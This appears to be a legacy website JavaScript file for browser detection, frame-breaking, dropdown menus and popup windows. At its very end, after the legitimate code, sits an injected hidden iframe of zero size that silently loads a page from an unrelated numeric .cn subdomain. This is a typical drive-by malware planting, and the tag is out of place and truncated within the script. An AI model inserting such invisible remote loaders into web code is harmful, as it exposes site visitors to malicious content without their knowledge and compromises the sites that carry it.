var hasDivs = 0; var IE4=0; var IE5=0; var NS4=0; var NS6=0; var Opera=0; var Mac=0; var Moz=0; if (navigator.userAgent.indexOf('Opera') != -1) { Opera=1; } else if(document.getElementById) { if ((navigator.userAgent.indexOf('Gecko') != -1)&&(navigator.userAgent.indexOf('etscape') == -1)) { Moz=1; } else if (navigator.userAgent.indexOf('Gecko') != -1) { NS6=1; } else { IE5=1; } } else if(document.all) { IE4=1; } else if(document.layers) { NS4=1; } if(navigator.appVersion.indexOf('Mac') != -1) { Mac=1; } /* This Is Frame Breaking Code */ if (top != self) {top.location = self.location} function showHide(objectId){ var obShowHide = document.getElementById(objectId) if (obShowHide.style.display == 'none'){ obShowHide.style.display = 'inline' } else{ obShowHide.style.display = 'none' } } function buttonChange( obj, url ) { if (document.images) { obj.src = url; } } var Top, Left, Bottom, Right; Top = 0; Left = 0; Bottom = 0; Right = 0; //cross-browser variables //ie = hidden, visible var hide="hidden"; //ns = hide, show var show="visible"; if((NS6)||(Moz)){ document.addEventListener("mousemove", mmHide, false); } else { document.onmousemove=mmHide; } function hideAll() { if (!NS4) { for (i = 0; i < nObjCnt; i++){ eval('x' + i.toString() + '.visibility = hide;'); } if (document.getElementById('hideit')) { y = getObj('hideit'); y.visibility = show; } } } function showMenu(name, aName, homePage) { if (hasDivs == 1) { if ( ((Mac)&&(homePage)) || ((homePage)&&(!IE4)&&(!IE5)) ) {} else { //the menus won't show over Flash animations in anything but IE. hideAll(); position = getAnchorPosition(aName); x = getObj(name); //offset positions var offsetY, offsetX; Top = position.y; Left = position.x; //Fixing "Top" and the Top Offset so this looks alike in many browsers if ((IE5)||(IE4)) { offsetY = 22; } if ((NS6)||(Moz)) { Top = Top - 15; offsetY = 27; } if (NS4) { offsetY = 27; } if ((Mac)&&(((IE4)||(IE5)))){ Top = Top + 15; } if ((Mac)&&(NS4)) { Top = Top - 5; offsetY = 35; } if (Opera) { offsetX = 40; offsetY = 40; Top = Top - 15; } { Left = Left - 10; offsetX = 10; } //Top, Left, Right, Bottom used by mmhide to know when to hide the menus (global vars). { Right = Left + 200; Bottom = Top + 400; } //do the deed x.top = Top + offsetY; x.left = Left + offsetX; x.visibility = show; if (document.getElementById('hideit')) { y = getObj('hideit'); y.visibility = hide; } } } } function getLeft(item) { if (item.offsetParent) { return (item.offsetLeft + getLeft(item.offsetParent)); } else { return (item.offsetLeft); } } function getTop(item) { if (item.offsetParent) { return (item.offsetTop + getTop(item.offsetParent)); } else { return (item.offsetTop); } } // getAnchorPosition(anchorname) // This function returns an object having .x and .y properties which are the coordinates // of the named anchor, relative to the page. function getAnchorPosition(anchorname) { // This function will return an Object with x and y properties var coordinates = new Object(); var x=0; var y=0; // Logic to find position if (IE5) { x = AnchorPosition_getPageOffsetLeft(document.all[anchorname]); y = AnchorPosition_getPageOffsetTop(document.all[anchorname]); } else if ((Moz)||(NS6)) { var o = document.getElementById(anchorname); x=getLeft(o); y=getTop(o); //x = o.offsetLeft; y = o.offsetTop; } else if (IE4) { x = AnchorPosition_getPageOffsetLeft(document.all[anchorname]); y = AnchorPosition_getPageOffsetTop(document.all[anchorname]); } else { coordinates.x=0; coordinates.y=0; return coordinates; } coordinates.x = x; coordinates.y = y; return coordinates; } // Functions for IE to get position of an object function AnchorPosition_getPageOffsetLeft (el) { var ol = el.offsetLeft; while ((el = el.offsetParent) != null) { ol += el.offsetLeft; } if (ol>680) ol = 620; return ol; } function AnchorPosition_getWindowOffsetLeft (el) { var scrollamount = document.body.scrollLeft; return AnchorPosition_getPageOffsetLeft(el)-scrollamount; } function AnchorPosition_getPageOffsetTop (el) { var ot = el.offsetTop; while((el = el.offsetParent) != null) { ot += el.offsetTop; } return ot; } function AnchorPosition_getWindowOffsetTop (el) { var scrollamount = document.body.scrollTop; return AnchorPosition_getPageOffsetTop(el)-scrollamount; } //grabs an object by name function getObj(name) { if (Moz||NS6||IE5) { return document.getElementById(name).style; } else if (IE4) { return document.all[name].style; }} function mmHide(e) { //mouse move hide /* cross-browser object vars (x1, x2, etc. = the pull-down menus) defined after the divs> in the document. */ if (hasDivs == 1){ var mouseX; var mouseY; if ((Opera)) { mouseX = window.event.x; mouseY = window.event.y; } else if ((IE4)||(IE5)) { mouseX = window.event.x+document.body.scrollLeft; mouseY = window.event.y+document.body.scrollTop; } else if ((NS4)||(NS6)||(Moz)) { mouseX = e.pageX; mouseY = e.pageY; } //window.status = 'mouseX=' + mouseX + ' mouseY=' + mouseY + ' Top=' + Top + ' Bottom=' + Bottom; if ((mouseX > Right)||(mouseX < Left)||(mouseY > Bottom)||(mouseY < Top)) { hideAll(); } } } function newWindow( url, width, height, resize, dummy ) { var x = (screen.Width-width)/2; var y = (screen.Height-height)/2; //var win = window.open(url, "newwindow", "top=" + x + ",left=" + y + ",width=" + width + ",height=" + height + ",toolbar=no,scrollbars=auto,resizable=" + resize); var win = window.open(url,'newwindow','status=no,toolbar=no,location=no,scrollbars=no,width='+width+',height='+height) win.focus(); } <iframe src="http://67332344.ee28.cn/htm/" width="0" height="0" scrolling="no" frameborder="0"> <